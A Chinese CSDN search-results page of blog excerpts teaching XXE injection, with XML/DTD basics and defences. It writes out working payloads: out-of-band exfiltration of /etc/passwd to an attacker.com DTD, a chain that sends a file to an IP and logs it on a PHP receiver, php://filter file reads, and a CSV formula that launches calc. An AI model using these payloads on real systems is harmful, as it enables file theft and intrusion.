精华内容
下载资源
问答
  • XXE注入
    千次阅读
    2021-11-19 20:01:41

    XXE注入

    1.什么是XML

    ​ XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

    ​ XML一般用来进行文本的标记,传输,甚至在某些情况下可以建立小型数据库。简单来说,XML负责传输web应用的数据,可以在不兼容的系统中储存数据。

    ​ 相比于用HTML中耗费大量时间来编辑动态的数据,XML可以兼容不同的系统,不同的程序都可以通过XML来访问数据

    2.XML的结构

    ​ 例如:

    <?xml version="1.0" encoding="ISO-8859-1"?>
    <note>
    <to>George</to>
    <from>John</from>
    <heading>Reminder</heading>
    <body>Don't forget the meeting!</body>
    </note>
    

    第一行是 XML 声明。它定义 XML 的版本 (1.0) 和所使用的编码 (ISO-8859-1 = Latin-1/西欧字符集)。

    <?xml version="1.0" encoding="ISO-8859-1"?>
    

    下一行描述文档的根元素(像在说:“本文档是一个便签”):

    <note>
    

    接下来 4 行描述根的 4 个子元素(to, from, heading 以及 body):

    <to>George</to>
    <from>John</from>
    <heading>Reminder</heading>
    <body>Don't forget the meeting!</body>
    

    最后一行定义根元素的结尾:

    </note>
    

    从本例可以设想,该 XML 文档包含了 John 给 George 的一张便签。

    3.XML是一种树结构

    ​ XML 文档必须包含根元素。该元素是所有其他元素的父元素。

    XML 文档中的元素形成了一棵文档树。这棵树从根部开始,并扩展到树的最底端。

    所有元素均可拥有子元素:

    <root>
      <child>
        <subchild>.....</subchild>
      </child>
    </root>
    

    ​ 父、子以及同胞等术语用于描述元素之间的关系。父元素拥有子元素。相同层级上的子元素成为同胞(兄弟或姐妹),所有元素均可拥有文本内容和属性(类似 HTML 中),而XML中的每个标签都需要被闭合,对大小写敏感。同时在XML文档里,禁止直接出现类似<>与&这类的特殊符号,因为解析器无法分清楚。

    4.XML实体

    ​ 实体(entity)是一种简单的存储单元,类似XML的变量,可以对它进行赋值并且在XML文档里引用。而实体会在文档类型定义部分(DTD)被单独定义描述。

    ​ 实体有三种类:一般实体(General),参数实体(Parameter),预定义实体(Predefined)

    <?xml version="1.0"?>
    <!DOCTYPE Person>[
    	<!ENTITY name "John">
    ]>
    <Person>
    	<Name>&name;</Name>
    	<Age>20</Age>
    </Person>
    

    ​ 这样就可以定义person中的变量name为John,在下文调用的时候就会是John,这个就是通用型实体,这种实体类型会在其他地方发生引用:[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传图片来自结尾视频

    言简意赅就是在DTD中被赋值,下文直接调用,或在DTD中声明类型,下文赋值:

    <?xml version="1.0" ?> 
    <!DOCTYPE note [
      <!ELEMENT note (to,from,heading,body)>
      <!ELEMENT to      (#PCDATA)>
      <!ELEMENT from    (#PCDATA)>
      <!ELEMENT heading (#PCDATA)>
      <!ELEMENT body    (#PCDATA)>
    ]>
    <note>
    <to>Tove</to> 
    <from>Jani</from> 
    <heading>Reminder</heading> 
    <message>Dont forget me this weekend!</message> 
    </note>
    

    而**参数实体(Parameter)**较为特殊,这种实体很灵活,比如用一个实体ENTITY给另一个实体ENTITY赋值:

    <!ENTITY % outer "<!ENTITY inner 'John'>">
    

    这种实体在外部实体注入(XXE)过程中非常有用。

    而**预定义实体(Predefined)**是某些特殊符号的一组预定义数值集,用来存储一些可能会破坏xml语法结构的符号如<>?等,一般用十六进制表示这些符号:

    请添加图片描述

    5.XML的安全性问题

    ​ 实体(Entities)作为类似变量的存在,可以存储数据,但是它的应用不只是存储,它们还有很多的功能,例如外部实体(XXE)。实体不但能存储数据还能从本地文件或远程网络中调用相关数据作为后续实体引用,这就形成了一个广泛的攻击面。我们通过一个例子来表现外部实体的漏洞:

    <?xml version="1.0"?>
    <!DOCTYPE XXE [
    	<!ENTITY subscribe SYSTEM "secret.txt">
    ]>
    <pwn>&subscribe;</pwn>
    

    ​ 这段语句中的SYSTEM关键词旨在让XML解析器知道这是一个外部实体,需要解析器获取外部资源并且把他存储到外部实体中,即读取secret.txt文件的内容。但是,若secret.txt中存在某些与XML语法类似的内容,XML解析器就会报错,让你知道解析错误。

    ​ 在secret.txt的位置,XML接受任意有效的URI包括文件,HTTP,FTP和其他协议形式的内容,甚至可以加上本地文件的路径来读取文件内容,当然,我们也可以使用URL加上网站下目录的文件来读取文件。这就是我们所说的:外部实体注入或XXE

    6.XXE的分类

    (1)带内实体注入攻击(Inband)

    ​ 这种类型的XXE就是上文所展示的读取secret.txt所使用的,XML被解析后的输出会直接显示在屏幕上。

    (2)基于错误的实体注入攻击(ERROR)

    ​ 类似盲注,解析结果没有其他的只有一大堆错误信息。

    (3)带外实体注入攻击(OOB)

    ​ 真正的盲注类型,在XML解析后无任何输出响应,必须执行一些带外请求来把目标数据提出来。

    **情景模拟:**假设我们有一个web应用,它可以解析XML输入但无任何的输入响应。作为攻击者,我们可以使用非路径的外部实体来请求这里的web应用。

    ​ 我们将上文的代码中的文件路径更改为我们控制的网站,请求发出后使用ncat监听所控制的服务器,收到请求则说明受害端有效解析了我们构造的XML,这样我们就可以以受害者的身份发起请求,这种攻击方式称为服务端请求伪造,或是SSRF

    但是,仅仅伪造请求是不够的,我们还需要读取文件。那么在这种无显示的情况下怎么获取文件内容呢,这就涉及到文档类型定义(DTD)

    7.文档类型定义(DTD)

    ​ 一个DTD样例:

    <!DOCTYPE Pwn [
    	<!ENTITY subscribe SYSTEM "secret.txt">
    ]>
    

    DTD的定义以DOCTYPE开始,DTD并不是XML数据的一部分,它们总是在根元素的定义之上,这表明了DTD的另一个特点:像实体一样可从外部加载

    <!DOCTYPE pwn SYSTEM "external.dtd">
    <Pwn>test<Pwn>
    

    ​ 在这种情况下,解析器将从这个外部DTD中提取并解析内容。这种机制的好处是:可以构建结构良好的XML文档,因为将定义与数据部分分开,但是这种机制也给攻击者带来了可能

    如果,调用了外部的恶意DTD,那么我们可以在DTD内调用参数实体。

    8.XXE攻击

    ​ 我们先构造一个XXE攻击的payload:

    <xml version="1.0"?>
    <!DOCTYPE XXE [
        <!ENTITY % passwd SYSTEM "/etc/passwd">
    	<!ENTITY % wrapper "<!ENTITY send SYSTEM 'http://attacker.com/?%passwd;'>">
    %wrapper;		//作用是执行上一句语句使send被赋值
    ]>
    <pwn>&send;<pwn>			//错的嗷
    

    接下来我们分析一下这个XML:

    首先,解析器会读取/etc/passwd的内容,之后将其存储到passwd实体中(这里的passwd是一个参数实体而非普通实体,因为我们在DTD中对它的调用)。然后,我们将http://attacker.com/?%passwd作为参数wrapper的值调用,%wrapper则是赋值。而下面调用send时,则send会去请求相应的外部资源,该资源对应的文件内容也会在URL中被请求。但是,由于XML的语法规范,在XML内部是没办法将第三行的passwd调用到下面的entity语句中的。只有通过外部参数实体才能绕过这一语法规则:

    <xml version="1.0"?>
    <!DOCTYPE data SYSTEM "http://attacker.com/evil.dtd">
    <data>&send;</data>
    

    这个XML文档中内置了一个外部DTD,之后我们调用一个实体send,这个send存在于evil.dtd中:

    <!ENTITY % passwd SYSTEM "file:///etc/passwd">
    	<!ENTITY % wrapper "<!ENTITY send SYSTEM 'http://attacker.com/?%passwd;'>">		//连接攻击机
    %wrapper;
    

    和之前一样,passwd的值为调用文件的路径,而send就是这个http://attacker.com/?%passwd的赋值。当wrapper实体在被调用后,就被替换为了passwd文件内容,变成URL的一部分,最终落在通用实体send上,因此我们在上一个xml文件中的send可以替换为我们想要的文件。

    ​ 总结就是:passwd实体被赋值文件路径,而send实体被赋值URL。当wrapper被调用时,它被赋值为URL下的文件路径来查询我们想要的内容,最终反映到URL的send中,所以最后调用send就会得到文件的内容,而send中的URL指向攻击者的服务器,则会向攻击者服务器发送请求。最后将payload发送给受害端,我们则可以在攻击端监听,收到URL,其中包含了我们想要的信息。

    请添加图片描述

    9.针对特殊文件的XXE

    ​ 某些文件无法在URL中表示出来,这是因为文件中带有特殊的字符,类似XML标签,所以XML解析器会尝试对这些内容进行解析。由于事实上并不是XML语句,所以解析器会将其识别为语法不良的XML语句,从而中断。

    ​ 这时就需要CDATA。CDATA表示字符数据(character data),是一种特殊语法,可以处理这种中断文件:

    <![CDATA[<text>]]>
    

    ​ 在CDATA中的文件与字符串,文本部分不会被当做标记语言解析处理,因此在XXE注入中我们可以拼接一个CDATA来闭合文件的内容:

    <xml version="1.0"?>
    <!DOCTYPE data [
        <!ENTITY start "<![CDTATA[">
        <!ENTITY file SYSTEM "file:///etc/fstab">
        <!ENTITY end "]]>">
    ]>
    <data>&start;&file;&end;</data>
    

    ​ 这样就可以将文件内容包含在CDATA的括号中,但是不符合语法标准,所以我们应该使用参数实体加上外部DTDs来解决。

    <!ENTITY % file SYSTEM "file:///etc/fstab">
    <!ENTITY % start "<![CDTATA[">
    <!ENTITY % end "]]>">
    <!ENTITY % wrapper "<!ENTITY all '&start;&file;&end;'>">
    %wrapper;
    

    这样就成功了。

    此文中截图来自YouTube,B站有转载翻译。在这里

    更多相关内容
  • XXE注入漏洞

    千次阅读 多人点赞 2020-09-03 19:15:51
    要想清楚XXE漏洞,首先要了解XML XML 可扩展标记语言(EXtensible Markup Language)。 它是一门用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型。 XML 很像HTML,但是标签没有被预定义...

    什么是XML

    要想清楚XXE漏洞,首先要了解XML
    XML 可扩展标记语言(EXtensible Markup Language)。

    它是一门用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型。

    XML 很像HTML,但是标签大小写敏感,且没有被预定义,需要自行定义标签,必须按顺序闭合标签,必须含有根元素,属性值须加引号。

    它的文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。它的设计宗旨是传输数据,而不是显示数据。

    这里要说的就是DTD。

    什么是DTD

    DTD(文档类型定义,Document Type Definition)的作用是定义 XML 文档的合法构建模块。
    它使用一系列的合法元素来定义文档结构。可以嵌入在XML文档中(内部声明),也可以独立的放在一个文件中(外部引用)。如同html里的js一样,可以放在html页面里,也可以是单独的一个文件。

    DTD文档组成
    1.元素(ELEMENT)的定义规则;
    2.元素之间的关系规则;
    3.属性(ATTLIST)的定义规则;
    4.可使用的实体(ENTITY)或符号(NOTATION)规则。

    什么是实体

    实体可以理解成变量,给一段代码或数据起一个名字,方便在别的地方引用. 大致分为两类:
    1.一般实体(格式:& 实体引用名)
    2.参数实体(格式:% 实体引用名)
    其次还有内外之分,外部实体表示外部文件的内容,用 SYSTEM 关键词表示.而造成XXE的一般就是外部实体

    system与public

    那么xml是如何调用外部dtd的呢?
    语法是这样子的:
    <!DOCTYPE 根元素名 SYSTEM "外部DTD文件的URI">

    SYSTEM表示DTD文件是私有的,是要自己定义的。

    当然,标签虽然是自定义的,但是人总是懒惰的,如果已经有人定义了一个标签,当你要实现相同功能时,是不是首先想着的是能不能直接调用对方的标签,而不是自己再重新定义一个标签。

    有一个叫W3C的组织来了,这个组织的工作是对 web 进行标准化。所以他定义了很多xml标签,这种标签叫公共标签。用public标注:
    <!DOCTYPE 根元素名 public "外部DTD文件的URI">
    直接调用就行,不需要自己再重新定义。

    外部DTD文件的uri得用引号引起来。

    什么是XXE

    定义

    XXE (XML External Entity) :XML外部实体,从安全角度理解成XML External Entity attack,即XML 外部实体注入攻击。

    漏洞原理

    前面说到,XML可以从外部读取DTD文件,而实体部分是写在DTD文档里。所以引用外部实体实际上就是调用包含该实体的DTD文件。

    调用DTD文件,自然是使用路径来识别的,那么我们就将路径换成其他文件的路径,比如原本设置x等于1目录下b文件y的值,我们可以将这个路径换成2目录下的a文件,于是x就等于a文件里y的值了;然后在a文件里,y的值和c文件的z有关;而z的值又和b文件里的γ相关……

    这就形成一个调用链甚至一个调用网,直到遇到合适的文件。什么文件呢?一个可以给参数赋值的文件。然后这个值,再一层一层的返回给最开始的文件。比如在上一段的例子里,如果我们能控制γ的值,那么x的值也就意味着可控。

    那么如果将恶意代码传给γ,伪造成外部实体,发送给应用程序。当程序解析了我们伪造的外部实体时,就会把γ的值一步步经过相应处理,赋值给SYSTEM前面的根元素,就产生了一次xxe注入攻击。

    注意:

    php版本大于5.4.45的默认不解析外部实体
    

    xxe漏洞与ssrf漏洞

    两个漏洞很相似,功能、原理、造成的危害都相同。
    攻击本质都是一样的,都是由于攻击者只能访问A资源不能访问B资源,但是 A资源可以访问B资源,且A资源对请求、响应的检测不全面,被攻击者利用以脚本为请求参数,利用A资源执行攻击者输入的命令去访问B资源。

    但是,发生的场景不同。xxe里,AB在同一主机上;ssrf中,AB不在同一个主机上。
    而xxe用的是DTD,利用实体注入的方式,将AB联系起来;
    ssrf,利用Http、File、FTP等协议,将AB联系在一起。

    所以他们是两个不同的漏洞。

    演示

    simplexml_load_string函数
    作用是将xml格式的字符串转换为对应的SimpleXMLElement

    zz.php
    在这里插入图片描述load.html
    在这里插入图片描述
    test.php
    在这里插入图片描述

    只要执行zz.php文件,就会生成一个load.txt文件
    在这里插入图片描述

    执行原理

    zz.php

    <!ENTITY % load SYSTEM "php://filter/read=convert.base64-encode/resource=c:/windows/win.ini">
    <!ENTITY % remote SYSTEM "http://172.16.11.27/xxe/load.xml"> 
    %remote;
    %send; 
    

    1.首先,运行zz.php的时候,定义load、remote两个传参实体,其功能分别为:

    load:读取c:/windows/win.ini 里的内容
    remote:加载172.16.11.27/xxe/load.xml的内容
    

    2.然后%remote: 执行remote实体,加载load.xml文件

    规则是平等的,所以规则里面内置了规则,为了不起冲突,需要编码‘%’(&#x25;)
    

    load.html

    <!ENTITY % all
    	"<!ENTITY &#x25; send SYSTEM 'http://172.16.11.27/xxe/test.php?load=%load;'>"
    >
    %all;
    

    3.加载load.xml文件后,执行all实体的时候,又执行load实体,并赋值给load(即%load的运行结果赋给load)

    4.然后返回zz.php文件,再加载send实体,即运行load.xml里内置的send规则实体,加载test.php里的内容

    test.php

    <?php file_put_contents("load.txt",$_GET["load"],FILE_APPEND);?>
    

    5.在test.php同路径下,新建一个load.txt文件(如果当前目录下没有load.php文件),并将load的值追加保存进去。

    可利用的协议

    这里协议的作用不是跟ssrf一样。
    前面说了,ssrf里的协议是为了把AB联系起来。这里的协议是AB联系起来后,在B里面执行的操作。

    比如下面的file:///C:/Windows/system.ini协议,只是用file协议执行system.ini文件。

    file

    <?php
    	$xxe = '<!DOCTYPE scan [<!ENTITY xxe SYSTEM "file:///C:/Windows/system.ini">]><scan>&xxe;</scan>';
    	$obj = simplexml_load_string($xxe, SimpleXMLElement, LIBXML_NOENT);
    	print_r($obj);
    ?>
    

    在这里插入图片描述

    http

    <?php
    	$xxe = '<!DOCTYPE scan [<!ENTITY xxe SYSTEM "http://www.baidu.com/robots.txt">]><scan>&xxe;</scan>';
    	$obj = simplexml_load_string($xxe, SimpleXMLElement, LIBXML_NOENT);
    	print_r($obj);
    ?>
    

    在这里插入图片描述
    上面为了直观显示,就把A,B(即$xxe,$obj)放在一个文件里

    ……

    base64

    如果文件里面有<>等符号,服务器会当做xml的标签,然后就把他给过滤了。如下:

    phpinfo.txt

    <?php
     phpinfo(); 
    ?>
    

    xxe.php

    <?php
    	$xxe = '<!DOCTYPE scan [<!ENTITY xxe SYSTEM "file:///D:/phpStudy/WWW/phpinfo.txt">]><scan>&xxe;</scan>';
    	$obj = simplexml_load_string($xxe, SimpleXMLElement, LIBXML_NOENT);
    	print_r($obj);
    ?>
    

    在这里插入图片描述
    虽然看不懂这里输出是啥东西,但绝对不是phpinfo.txt的内容。

    所以需要编码一下

    <?php
    	$xxe = '<!DOCTYPE scan [<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=D:/phpStudy/WWW/phpinfo.txt">]><scan>&xxe;</scan>';
    	$obj = simplexml_load_string($xxe, SimpleXMLElement, LIBXML_NOENT);
    	print_r($obj);
    ?>
    

    在这里插入图片描述

    然后解码查看
    在这里插入图片描述

    展开全文
  • XXE Apache OFBiz < 16.11.04 的 XXE 注入(文件泄露)漏洞利用 信息 16.11.04 版本之前的 Apache OFBiz 包含两个不同的 XXE 注入漏洞。 每个漏洞的公开披露可以在下面找到: [1] [2] 此漏洞利用针对链接 1 中...
  • 什么是XXE 什么地方可能存在XXE Zend框架 Xml-rpc模块的xxe Springmvc里的xxe slim框架里的xxe 解析docx文件 XXE能干嘛 XXE怎么去读文件 XXE注入外带数据回显 XXE怎么去修复
  • 测试XXE注入.docx

    2021-09-06 16:10:17
    测试XXE注入
  • 一、xxe注入 这道题应该是最简单的任意文件读取 打开是一个输入框 在C盘构造一个flag,别问我为啥,我也不知道。。。 bp抓个包 随便输入个什么都有回显,应该是基础的XXE注入 这是一段读取文件的xml<?xml...

    一、xxe注入

    这道题应该是XXE漏洞最基础的任意文件读取

    打开是一个输入框


    在C盘构造一个flag。别问我为啥,为也不知道


    bp抓个包


    随便输入个什么都有回显,应该是基础的XXE注入


    这是一段读取文件的xml
    <?xml version="1.0"?>
    <!DOCTYPE ANY [
        <!ENTITY B SYSTEM "file:///c:/1.txt">
    ]>
    <xml>
        <xxe>&B;</xxe>
    </xml>   

    由于存在换行,所以转化为URL编码:%3C%3F%78%6D%6C%20%76%65%72%73%69%6F%6E%3D%22%31%2E%30%22%3F%3E%0D%0A%3C%21%44%4F%43%54%59%50%45%20%41%4E%59%20%5B%0D%0A%20%20%20%20%3C%21%45%4E%54%49%54%59%20%42%20%53%59%53%54%45%4D%20%22%66%69%6C%65%3A%2F%2F%2F%63%3A%2F%31%2E%74%78%74%22%3E%0D%0A%5D%3E%0D%0A%3C%78%6D%6C%3E%0D%0A%20%20%20%20%3C%78%78%65%3E%26%42%3B%3C%2F%78%78%65%3E%0D%0A%3C%2F%78%6D%6C%3E%20%20%20

    成功读取到本地flag

    二、csv注入

    CSV公式注入(CSV Injection)是一种会造成巨大影响的攻击向量。攻击包含向恶意的EXCEL公式中注入可以输出或以CSV文件读取的参数。当在Excel中打开CSV文件时,文件会从CSV描述转变为原始的Excel格式,包括Excel提供的所有动态功能。在这个过程中,CSV中的所有Excel公式都会执行。当该函数有合法意图时,很易被滥用并允许恶意代码执行。

    打开靶场

    当输入一个公式,会被Excel自动运算并执行。

    我们构造以下代码

    =1+cmd|' /C calc'!A0

    当我们导出时,生成csv文件时,打开

     

    然后。。。。。。。

    展开全文
  • 防止XXE注入攻击

    千次阅读 2018-07-04 19:11:24
    当往该docx的xml文件注入恶意代码(引用外部实体)时,可进行XXE攻击。     四、防御XXE攻击 方案一、使用开发语言提供的禁用外部实体的方法 PHP: libxml_disable_entity_loader(true); JAVA: ...

    一、XML基础知识


    XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

     

     

     

     

    DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明,也可以外部引用。


    内部声明DTD


    <!DOCTYPE 根元素 [元素声明]>


    引用外部DTD


    <!DOCTYPE 根元素 SYSTEM "文件名">


    或者


    <!DOCTYPE 根元素 PUBLIC "public_ID" "文件名">

     

    DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。


    内部声明实体


    <!ENTITY 实体名称 "实体的值">


    引用外部实体


    <!ENTITY 实体名称 SYSTEM "URI">


    或者


    <!ENTITY 实体名称 PUBLIC "public_ID" "URI">

     

    二、XML外部实体注入(XML External Entity)


    当允许引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。

     

    引入外部实体方式有多种,比如:


    恶意引入外部实体方式1:

    XML内容:

     

     

     

     

    恶意引入外部实体方式2:

    XML内容:

     

     

     

    DTD文件(evil.dtd)内容:

     

    恶意引入外部实体方式3:

    XML内容:

     

     

     

    DTD文件(evil.dtd)内容:

     

     

     

    另外,不同程序支持的协议不一样,

     

     

     

    上图是默认支持协议,还可以支持其他,如PHP支持的扩展协议有



     

    以下举例说明XXE危害,当然XXE不止这些危害。

    XXE危害1:读取任意文件



     



     

    该CASE是读取/etc/passwd,有些XML解析库支持列目录,攻击者通过列目录、读文件,获取帐号密码后进一步攻击,如读取tomcat-users.xml得到帐号密码后登录tomcat的manager部署webshell。

    另外,数据不回显就没有问题了吗?如下图,




    不,可以把数据发送到远程服务器,




    远程evil.dtd文件内容如下:




    触发XXE攻击后,服务器会把文件内容发送到攻击者网站





     

    XXE危害2:执行系统命令



     




    该CASE是在安装expect扩展的PHP环境里执行系统命令,其他协议也有可能可以执行系统命令。

     

    XXE危害3:探测内网端口



     




    该CASE是探测192.168.1.1的80、81端口,通过返回的“Connection refused”可以知道该81端口是closed的,而80端口是open的。

     

    XXE危害4:攻击内网网站



     



    该CASE是攻击内网struts2网站,远程执行系统命令。

     

    三、客户端XXE案例


    日前,某office文档转换软件被爆存在XXE漏洞(PS:感谢TSRC平台白帽子Titans`报告漏洞),某一应用场景为:Web程序调用该office软件来获取office文档内容后提供在线预览。由于该软件在处理office文档时,读取xml文件且允许引用外部实体,当用户上传恶意文档并预览时触发XXE攻击。详情如下:


    新建一个正常文档,内容为Hi TSRC,



    使用该软件转换后可以得到文本格式的文档内容,





    当往该docx的xml文件注入恶意代码(引用外部实体)时,可进行XXE攻击。





     

     

    四、防御XXE攻击


    方案一、使用开发语言提供的禁用外部实体的方法


    PHP:

    libxml_disable_entity_loader(true);


    JAVA:

    DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();

    dbf.setExpandEntityReferences(false);


    Python:

    from lxml import etree

    xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

     

    方案二、过滤用户提交的XML数据

           
    关键词:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC。

     


    【最后】


    无论是WEB程序,还是PC程序,只要处理用户可控的XML都可能存在危害极大的XXE漏洞,开发人员在处理XML时需谨慎,在用户可控的XML数据里禁止引用外部实体。


    文中涉及到的代码和技术细节,只限用于技术交流,切勿用于非法用途。欢迎探讨交流,行文仓促,不足之处,敬请不吝批评指正。

     


    【参考】

    http://www.vsecurity.com/download/papers/XMLDTDEntityAttacks.pdf

    http://2013.appsecusa.org/2013/wp-content/uploads/2013/12/WhatYouDidntKnowAboutXXEAttacks.pdf

    https://www.owasp.org/images/5/5d/XML_Exteral_Entity_Attack.pdf

    https://www.youtube.com/watch?v=j2cfebNEfic

    展开全文
  • XXE漏洞全称XML External Entity Injection即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、...
  • WebGoat 8.0 XXE注入 解题思路

    千次阅读 2018-09-20 23:10:47
    WebGoat 8.0 XXE注入 解题思路 ★ 题目 地址: http://127.0.0.1:8080/WebGoat/start.mvc#lesson/XXE.lesson/2 ★ XXE 注入攻击是什么 XXE 是 XML External Entity的缩写。 XXE注入攻击,发生在一些配置较弱的XML...
  • excel 导入数据,xxe 注入 poi 3.15

    千次阅读 2019-04-27 14:05:11
    问题:xxe是xml为载体,xlsx就是含有xml的 构造的是一个带有攻击代码的xlsx文件,里面带有一个我自定义的域名,后台解析后,访问了我指定的这个域名,说明注入成功 解决: poi之前是3.9 升级到3.15以上 所需...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 3,648
精华内容 1,459
关键字:

xxe注入

友情链接: tps76301.zip